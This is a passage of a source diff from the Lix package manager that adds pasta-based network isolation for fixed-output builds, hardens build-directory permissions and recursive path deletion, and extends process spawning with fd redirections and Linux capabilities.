return fromHost;
}
static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
static std::regex lineRegex("^nameserver\\s.*$", flags);
static std::regex v4Regex("^nameserver\\s+\\d{1,3}\\.", flags);
static std::regex v6Regex("^nameserver.*:", flags);
std::string nsInSandbox = "\n";
if (std::regex_search(fromHost, v4Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
}
if (std::regex_search(fromHost, v6Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
}
return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
}
Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave) Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
{ {
#if HAVE_SECCOMP #if HAVE_SECCOMP
@@ -863,9 +900,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- The private network namespace ensures that the builder - The private network namespace ensures that the builder
cannot talk to the outside world (or vice versa). It cannot talk to the outside world (or vice versa). It
only has a private loopback interface. (Fixed-output only has a private loopback interface. If a copy of
derivations are not run in a private network namespace `pasta` is available, Fixed-output derivations are run
to allow functions like fetchurl to work.) inside a private network namespace with internet
access, otherwise they are run in the host's network
namespace, to allow functions like fetchurl to work.
- The IPC namespace prevents the builder from communicating - The IPC namespace prevents the builder from communicating
with outside processes using SysV IPC mechanisms (shared with outside processes using SysV IPC mechanisms (shared
@@ -886,6 +925,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
if (derivationType->isSandboxed()) if (derivationType->isSandboxed())
privateNetwork = true; privateNetwork = true;
// don't launch pasta unless we have a tun device. in a build sandbox we
// commonly do not, and trying to run pasta anyway naturally won't work.
runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
userNamespaceSync.create(); userNamespaceSync.create();
Pipe sendPid; Pipe sendPid;
@@ -910,7 +953,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
ProcessOptions options; ProcessOptions options;
options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
if (privateNetwork) // we always want to create a new network namespace for pasta, even when
// we can't actually run it. not doing so hides bugs and impairs purity.
if (settings.pastaPath != "" || privateNetwork)
options.cloneFlags |= CLONE_NEWNET; options.cloneFlags |= CLONE_NEWNET;
if (usingUserNamespace) if (usingUserNamespace)
options.cloneFlags |= CLONE_NEWUSER; options.cloneFlags |= CLONE_NEWUSER;
@@ -992,6 +1037,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
/* Signal the builder that we've updated its user namespace. */ /* Signal the builder that we've updated its user namespace. */
writeFull(userNamespaceSync.writeSide.get(), "1"); writeFull(userNamespaceSync.writeSide.get(), "1");
if (runPasta) {
// Bring up pasta, for handling FOD networking. We don't let it daemonize
// itself for process managements reasons and kill it manually when done.
// TODO add a new sandbox mode flag to disable all or parts of this?
Strings args = {
// clang-format off
"--quiet",
"--foreground",
"--config-net",
"--gateway", PASTA_HOST_IPV4,
"--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
"--dns-forward", PASTA_HOST_IPV4,
"--gateway", PASTA_HOST_IPV6,
"--address", PASTA_CHILD_IPV6,
"--dns-forward", PASTA_HOST_IPV6,
"--ns-ifname", PASTA_NS_IFNAME,
"--no-netns-quit",
"--netns", "/proc/self/fd/0",
// clang-format on
};
AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!netns) {
throw SysError("failed to open netns");
}
AutoCloseFD userns;
if (usingUserNamespace) {
userns =
AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!userns) {
throw SysError("failed to open userns");
}
args.push_back("--userns");
args.push_back("/proc/self/fd/1");
}
// FIXME ideally we want a notification when pasta exits, but we cannot do
// this at present. without such support we need to busy-wait for pasta to
// set up the namespace completely and time out after a while for the case
// of pasta launch failures. pasta logs go to syslog only for now as well.
pastaPid = runProgram2({
.program = settings.pastaPath,
.args = args,
.uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
.gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
// TODO these redirections are crimes. pasta closes all non-stdio file
// descriptors very early and lacks fd arguments for the namespaces we
// want it to join. we cannot have pasta join the namespaces via pids;
// doing so requires capabilities which pasta *also* drops very early.
.redirections = {
{.from = 0, .to = netns.get()},
{.from = 1, .to = userns ? userns.get() : 1},
},
.caps = getuid() == 0
? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
: std::set<long>{},
});
}
return pid; return pid;
} }
@@ -1006,5 +1112,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
} else { } else {
LocalDerivationGoal::killSandbox(getStats); LocalDerivationGoal::killSandbox(getStats);
} }
if (pastaPid) {
// FIXME we really want to send SIGTERM instead and wait for pasta to exit,
// but we do not have the infra for that right now. we send SIGKILL instead
// and treat exiting with that as a successful exit code until such a time.
// this is not likely to cause problems since pasta runs as the build user,
// but not inside the build sandbox. if it's killed it's either due to some
// external influence (in which case the sandboxed child will probably fail
// due to network errors, if it used the network at all) or some bug in lix
if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
if (WIFSIGNALED(status)) {
throw Error("pasta killed by signal %i", WTERMSIG(status));
} else if (WIFEXITED(status)) {
throw Error("pasta exited with code %i", WEXITSTATUS(status));
} else {
throw Error("pasta exited with status %i", status);
}
}
}
} }
} }
+18
View File
@@ -4,6 +4,7 @@
#include "lix/libstore/build/local-derivation-goal.hh" #include "lix/libstore/build/local-derivation-goal.hh"
#include "lix/libstore/gc-store.hh" #include "lix/libstore/gc-store.hh"
#include "lix/libstore/local-store.hh" #include "lix/libstore/local-store.hh"
#include "lix/libutil/processes.hh"
namespace nix { namespace nix {
@@ -33,7 +34,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
public: public:
using LocalDerivationGoal::LocalDerivationGoal; using LocalDerivationGoal::LocalDerivationGoal;
~LinuxLocalDerivationGoal();
// NOTE these are all C strings because macos doesn't have constexpr std::string
// constructors, and std::string_view is a pain to turn into std::strings again.
static constexpr const char * PASTA_NS_IFNAME = "eth0";
static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
static constexpr const char * PASTA_IPV4_NETMASK = "16";
// randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
// even if this id is used on the daemon host there should not be
// any collisions since ipv4ll should never be addressed by ipv6.
static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
private: private:
RunningProgram pastaPid;
/** /**
* Create and populate chroot * Create and populate chroot
*/ */
@@ -62,6 +79,7 @@ private:
return true; return true;
} }
std::string rewriteResolvConf(std::string fromHost) override;
}; };
} }
+14 -4
View File
@@ -1,14 +1,24 @@
--- ---
name: build-dir name: build-dir
internalName: buildDir internalName: buildDir
settingType: PathsSetting<std::optional<Path>> settingType: PathsSetting<Path>
default: null defaultText: "`«nixStateDir»/builds`"
defaultExpr: nixStateDir + "/builds"
--- ---
The directory on the host, in which derivations' temporary build directories are created. The directory on the host, in which derivations' temporary build directories are created.
If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable. If not set, Lix will use the `builds` subdirectory of its configured state directory.
Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. Lix will create this directory automatically with suitable permissions if it does not
exist, otherwise its permissions must allow all users to traverse the directory (i.e.
it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.
This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.
If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
> Important:
>
> `build-dir` must not be set to a world-writable directory. Placing temporary build
> directories in a world-writable place allows other users to access or modify build
> data that is currently in use. This alone is merely an impurity, but combined with
> another factor this has allowed malicious derivations to escape the build sandbox.
+10
View File
@@ -0,0 +1,10 @@
---
name: pasta-path
internalName: pastaPath
type: Path
default: ""
---
If set to an absolute path, enables fully sandboxing fixed-output
derivations, by using `pasta` to pass network traffic between the
private network namespace. This allows for greater levels of isolation
of builds to the host.
+3 -1
View File
@@ -5,6 +5,7 @@
#include "lix/libutil/logging.hh" #include "lix/libutil/logging.hh"
#include "lix/libutil/strings.hh" #include "lix/libutil/strings.hh"
#include "lix/libstore/temporary-dir.hh" #include "lix/libstore/temporary-dir.hh"
#include <unistd.h>
namespace nix { namespace nix {
@@ -50,7 +51,8 @@ bool SSHMaster::isMasterRunning() {
Strings args = {"-O", "check", host}; Strings args = {"-O", "check", host};
addCommonSSHOpts(args); addCommonSSHOpts(args);
auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true}); auto res = runProgram(RunOptions {.program = "ssh", .args = args,
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}});
return res.first == 0; return res.first == 0;
} }
+23
View File
@@ -154,6 +154,29 @@ int AutoCloseFD::get() const
return fd; return fd;
} }
std::string guessOrInventPathFromFD(int fd)
{
assert(fd >= 0);
/* On Linux, there's no F_GETPATH available.
* But we can read /proc/ */
#if __linux__
try {
return readLink(fmt("/proc/self/fd/%1%", fd).c_str());
} catch (...) {
}
#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH
std::string fdName(PATH_MAX, '\0');
if (fcntl(fd, F_GETPATH, fdName.data()) != -1) {
fdName.resize(strlen(fdName.c_str()));
return fdName;
}
#else
#error "No implementation for retrieving file descriptors path."
#endif
return fmt("<fd %i>", fd);
}
void AutoCloseFD::close() void AutoCloseFD::close()
{ {
+18
View File
@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true);
*/ */
std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); std::string drainFD(int fd, bool block = true, const size_t reserveSize=0);
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPathFromFD(int fd);
Generator<Bytes> drainFDSource(int fd, bool block = true); Generator<Bytes> drainFDSource(int fd, bool block = true);
class AutoCloseFD class AutoCloseFD
@@ -50,6 +59,15 @@ public:
AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; AutoCloseFD& operator =(const AutoCloseFD & fd) = delete;
AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false); AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false);
int get() const; int get() const;
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); }
explicit operator bool() const; explicit operator bool() const;
int release(); int release();
void close(); void close();
+58 -22
View File
@@ -354,17 +354,47 @@ Generator<Bytes> readFileSource(const Path & path)
} }
void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) void writeFile(const Path & path, std::string_view s, mode_t mode)
{ {
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd) if (!fd)
throw SysError("opening file '%1%'", path); throw SysError("opening file '%1%'", path);
writeFile(fd, s, mode);
/* Close explicitly to propagate the exceptions. */
fd.close();
}
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode)
{
assert(fd);
try { try {
writeFull(fd.get(), s); writeFull(fd.get(), s);
} catch (Error & e) { } catch (Error & e) {
e.addTrace({}, "writing file '%1%'", path); e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath());
throw; throw;
} }
}
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode)
{
{
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd)
throw SysError("opening file '%1%'", path);
writeFile(fd, s, mode);
fd.fsync();
/* Close explicitly to ensure that exceptions are propagated. */
fd.close();
}
syncParent(path);
}
static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
{
if (sync) if (sync)
fd.fsync(); fd.fsync();
// Explicitly close to make sure exceptions are propagated. // Explicitly close to make sure exceptions are propagated.
@@ -373,8 +403,7 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
syncParent(path); syncParent(path);
} }
void writeFile(const Path & path, Source & source, mode_t mode)
void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
{ {
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd) if (!fd)
@@ -393,12 +422,8 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
e.addTrace({}, "writing file '%1%'", path); e.addTrace({}, "writing file '%1%'", path);
throw; throw;
} }
if (sync)
fd.fsync(); closeForWrite(path, fd, false);
// Explicitly close to make sure exceptions are propagated.
fd.close();
if (sync)
syncParent(path);
} }
void syncParent(const Path & path) void syncParent(const Path & path)
@@ -409,16 +434,26 @@ void syncParent(const Path & path)
fd.fsync(); fd.fsync();
} }
static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed) /* TODO(horrors): a better structure that links all parent fds for the traversal root
* should be considered for this code
*/
static void _deletePath(int parentfd, const Path & name, uint64_t & bytesFreed)
{ {
/* This ensures that `name` is an immediate child of `parentfd`. */
assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
checkInterrupt(); checkInterrupt();
std::string name(baseNameOf(path)); /* FIXME(horrors): there's a minor TOCTOU here.
* we fstatat the inode nofollow, check if this is a directory
* and then open it.
* a better alternative is open it as O_PATH as a namefd.
* if it's a directory, it can be openat with the namefd.
*/
struct stat st; struct stat st;
if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
if (errno == ENOENT) return; if (errno == ENOENT) return;
throw SysError("getting status of '%1%'", path); throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
} }
if (!S_ISDIR(st.st_mode)) { if (!S_ISDIR(st.st_mode)) {
@@ -449,24 +484,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed)
/* Make the directory accessible. */ /* Make the directory accessible. */
const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
if ((st.st_mode & PERM_MASK) != PERM_MASK) { if ((st.st_mode & PERM_MASK) != PERM_MASK) {
if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
throw SysError("chmod '%1%'", path); throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
}
} }
int fd = openat(parentfd, path.c_str(), O_RDONLY); int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
if (fd == -1) if (fd == -1)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
AutoCloseDir dir(fdopendir(fd)); AutoCloseDir dir(fdopendir(fd));
if (!dir) if (!dir)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
for (auto & i : readDirectory(dir.get(), path)) for (auto & i : readDirectory(dir.get(), name))
_deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed); _deletePath(dirfd(dir.get()), i.name, bytesFreed);
} }
int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
if (unlinkat(parentfd, name.c_str(), flags) == -1) { if (unlinkat(parentfd, name.c_str(), flags) == -1) {
if (errno == ENOENT) return; if (errno == ENOENT) return;
throw SysError("cannot unlink '%1%'", path); throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
} }
} }
@@ -482,7 +518,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%'", path);
} }
_deletePath(dirfd.get(), path, bytesFreed); _deletePath(dirfd.get(), baseNameOf(path).data(), bytesFreed);
} }
+9 -2
View File
@@ -188,9 +188,16 @@ Generator<Bytes> readFileSource(const Path & path);
/** /**
* Write a string to a file. * Write a string to a file.
*/ */
void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); void writeFile(const Path & path, std::string_view s, mode_t mode = 0666);
void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); void writeFile(const Path & path, Source & source, mode_t mode = 0666);
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode = 0666);
/**
* Write a string to a file and flush the file and its parents direcotry to disk.
*/
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666);
/** /**
* Flush a file's parent directory to disk * Flush a file's parent directory to disk
+69 -5
View File
@@ -22,6 +22,7 @@
#endif #endif
#ifdef __linux__ #ifdef __linux__
# include <linux/capability.h>
# include <sys/prctl.h> # include <sys/prctl.h>
# include <sys/mman.h> # include <sys/mman.h>
#endif #endif
@@ -249,7 +250,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)
try { try {
auto proc = runProgram2(options); auto proc = runProgram2(options);
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
stdout = proc.getStdout()->drain(); stdout = proc.getStdout()->drain();
} catch (ExecError & e) { } catch (ExecError & e) {
status = e.status; status = e.status;
@@ -277,7 +278,22 @@ RunningProgram::~RunningProgram()
} }
} }
void RunningProgram::wait() std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
{
return {pid.release(), std::move(stdoutSource), stdout_.release()};
}
int RunningProgram::kill()
{
return pid.kill();
}
int RunningProgram::wait()
{
return pid.wait();
}
void RunningProgram::waitAndCheck()
{ {
if (std::uncaught_exceptions() == 0) { if (std::uncaught_exceptions() == 0) {
int status = pid.wait(); int status = pid.wait();
@@ -315,12 +331,21 @@ RunningProgram runProgram2(const RunOptions & options)
replaceEnv(*options.environment); replaceEnv(*options.environment);
if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
throw SysError("dupping stdout"); throw SysError("dupping stdout");
if (options.mergeStderrToStdout) for (auto redirection : options.redirections) {
if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) if (dup2(redirection.to, redirection.from) == -1) {
throw SysError("cannot dup stdout into stderr"); throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
}
}
if (options.chdir && chdir((*options.chdir).c_str()) == -1) if (options.chdir && chdir((*options.chdir).c_str()) == -1)
throw SysError("chdir failed"); throw SysError("chdir failed");
#if __linux__
if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
throw SysError("setting keep-caps failed");
}
#endif
if (options.gid && setgid(*options.gid) == -1) if (options.gid && setgid(*options.gid) == -1)
throw SysError("setgid failed"); throw SysError("setgid failed");
/* Drop all other groups if we're setgid. */ /* Drop all other groups if we're setgid. */
@@ -329,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options)
if (options.uid && setuid(*options.uid) == -1) if (options.uid && setuid(*options.uid) == -1)
throw SysError("setuid failed"); throw SysError("setuid failed");
#if __linux__
if (!options.caps.empty()) {
if (prctl(PR_SET_KEEPCAPS, 0)) {
throw SysError("clearing keep-caps failed");
}
// we do the capability dance like this to avoid a dependency
// on libcap, which has a rather large build closure and many
// more features that we need for now. maybe some other time.
static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
struct user_cap_header_struct
{
uint32_t version;
int pid;
} hdr = {LINUX_CAPABILITY_VERSION_3, 0};
struct user_cap_data_struct
{
uint32_t effective;
uint32_t permitted;
uint32_t inheritable;
} data[LINUX_CAPABILITY_U32S_3] = {};
for (auto cap : options.caps) {
assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
data[cap / 32].permitted |= 1 << (cap % 32);
data[cap / 32].inheritable |= 1 << (cap % 32);
}
if (syscall(SYS_capset, &hdr, data)) {
throw SysError("couldn't set capabilities");
}
for (auto cap : options.caps) {
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
throw SysError("couldn't set ambient caps");
}
}
}
#endif
Strings args_(options.args); Strings args_(options.args);
args_.push_front(options.program); args_.push_front(options.program);
+24 -2
View File
@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,
struct RunOptions struct RunOptions
{ {
struct Redirection
{
int from, to;
};
Path program; Path program;
bool searchPath = true; bool searchPath = true;
Strings args = {}; Strings args = {};
@@ -84,8 +89,11 @@ struct RunOptions
std::optional<Path> chdir = {}; std::optional<Path> chdir = {};
std::optional<std::map<std::string, std::string>> environment = {}; std::optional<std::map<std::string, std::string>> environment = {};
bool captureStdout = false; bool captureStdout = false;
bool mergeStderrToStdout = false;
bool isInteractive = false; bool isInteractive = false;
std::vector<Redirection> redirections;
#if __linux__
std::set<long> caps;
#endif
}; };
struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
@@ -102,9 +110,23 @@ private:
public: public:
RunningProgram() = default; RunningProgram() = default;
RunningProgram(RunningProgram &&) = default;
RunningProgram & operator=(RunningProgram &&) = default;
~RunningProgram(); ~RunningProgram();
void wait(); explicit operator bool() const { return bool(pid); }
std::tuple<pid_t, std::unique_ptr<Source>, int> release();
int kill();
[[nodiscard]]
int wait();
void waitAndCheck();
std::optional<int> getStdoutFD() const
{
return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
}
Source * getStdout() const { return stdoutSource.get(); }; Source * getStdout() const { return stdoutSource.get(); };
}; };
+12
View File
@@ -256,6 +256,11 @@ configdata += {
'HAVE_SECCOMP': seccomp.found().to_int(), 'HAVE_SECCOMP': seccomp.found().to_int(),
} }
# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs
configdata += {
'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(),
}
libarchive = dependency('libarchive', required : true, include_type : 'system') libarchive = dependency('libarchive', required : true, include_type : 'system')
brotli = [ brotli = [
@@ -393,6 +398,13 @@ endif
# FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating # FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating
# that busybox sh won't run busybox applets as builtins (which would break our sandbox). # that busybox sh won't run busybox applets as builtins (which would break our sandbox).
pasta_path = get_option('pasta-path')
# we can't check the pasta version because passt misuses stdio (it calls _exit()
# after printing the version, which will never print the version unless run from
# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
# we *will* enable it in our own packaging, but distributions are not forced to.
pasta = find_program(pasta_path, required : false, native : false)
lsof = find_program('lsof', native : true) lsof = find_program('lsof', native : true)
# This is how Nix does generated headers... # This is how Nix does generated headers...
+4
View File
@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
) )
option('pasta-path', type : 'string', value : 'pasta',
description : 'path to the location of pasta (provided by passt)',
)
option('enable-tests', type : 'boolean', value : true, option('enable-tests', type : 'boolean', value : true,
description : 'whether to enable tests or not (requires rapidcheck and gtest)', description : 'whether to enable tests or not (requires rapidcheck and gtest)',
) )
+64
View File
@@ -0,0 +1,64 @@
{
lib,
stdenv,
buildPackages,
fetchurl,
getconf,
gitUpdater,
testers,
}:
stdenv.mkDerivation (finalAttrs: {
pname = "passt";
version = "2025_02_17.a1e48a0";
src = fetchurl {
url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
};
postPatch = ''
substituteInPlace Makefile --replace-fail \
'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
"PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
'';
makeFlags = [
"prefix=${placeholder "out"}"
"VERSION=${finalAttrs.version}"
];
passthru = {
tests.version = testers.testVersion {
package = finalAttrs.finalPackage;
};
updateScript = gitUpdater {
url = "https://passt.top/passt";
};
};
meta = with lib; {
homepage = "https://passt.top/passt/about/";
description = "Plug A Simple Socket Transport";
longDescription = ''
passt implements a translation layer between a Layer-2 network interface
and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
It doesn't require any capabilities or privileges, and it can be used as
a simple replacement for Slirp.
pasta (same binary as passt, different command) offers equivalent
functionality, for network namespaces: traffic is forwarded using a tap
interface inside the namespace, without the need to create further
interfaces on the host, hence not requiring any capabilities or
privileges.
'';
license = [
licenses.bsd3 # and
licenses.gpl2Plus
];
platforms = platforms.linux;
maintainers = with maintainers; [ _8aed ];
mainProgram = "passt";
};
})
+2 -1
View File
@@ -1 +1,2 @@
d @localstatedir@/nix/daemon-socket 0755 root root - - d @localstatedir@/nix/daemon-socket 0755 root root - -
d @localstatedir@/nix/builds 0755 root root 7d -
+6
View File
@@ -42,6 +42,8 @@
ninja, ninja,
ncurses, ncurses,
openssl, openssl,
# FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
passt-lix ? __forDefaults.passt-lix,
pegtl, pegtl,
pkg-config, pkg-config,
python3, python3,
@@ -109,6 +111,8 @@
# needs derivation patching to add debuginfo and coroutine library support # needs derivation patching to add debuginfo and coroutine library support
# !! must build this with clang as it is affected by the gcc coroutine bugs # !! must build this with clang as it is affected by the gcc coroutine bugs
capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; }; capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; };
passt-lix = callPackage ./misc/passt.nix { };
}, },
}: }:
@@ -224,6 +228,7 @@ stdenv.mkDerivation (finalAttrs: {
# which don't actually get added to PATH. And buildInputs is correct over # which don't actually get added to PATH. And buildInputs is correct over
# nativeBuildInputs since this should be a busybox executable on the host. # nativeBuildInputs since this should be a busybox executable on the host.
"-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
"-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
] ]
++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
@@ -306,6 +311,7 @@ stdenv.mkDerivation (finalAttrs: {
++ lib.optionals hostPlatform.isLinux [ ++ lib.optionals hostPlatform.isLinux [
libseccomp libseccomp
busybox-sandbox-shell busybox-sandbox-shell
passt-lix
] ]
++ lib.optionals ( ++ lib.optionals (
stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0" stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0"
+9
View File
@@ -1,4 +1,13 @@
from xonsh.main import setup from xonsh.main import setup
import signal
# This is a workaround for https://github.com/xonsh/xonsh/issues/5244
# Matching https://github.com/xonsh/xonsh/blob/71d4920ac5c16f2ef37da88b3f563c25c585fb82/xonsh/main.py#L519-L525
def func_sig_ttin_ttou(n, f):
pass
signal.signal(signal.SIGTTIN, func_sig_ttin_ttou)
signal.signal(signal.SIGTTOU, func_sig_ttin_ttou)
setup() setup()
del setup del setup
+6 -3
View File
@@ -32,6 +32,9 @@ RELENG_MSG = "Release created with releng/create_release.xsh"
BUILD_CORES = 16 BUILD_CORES = 16
MAX_JOBS = 2 MAX_JOBS = 2
# Workaround for bug in garage: https://git.deuxfleurs.fr/Deuxfleurs/garage/issues/963
S3_ARGS = ['--checksum-algorithm=SHA256']
def setup_creds(env: RelengEnvironment): def setup_creds(env: RelengEnvironment):
key = keys.get_ephemeral_key(env) key = keys.get_ephemeral_key(env)
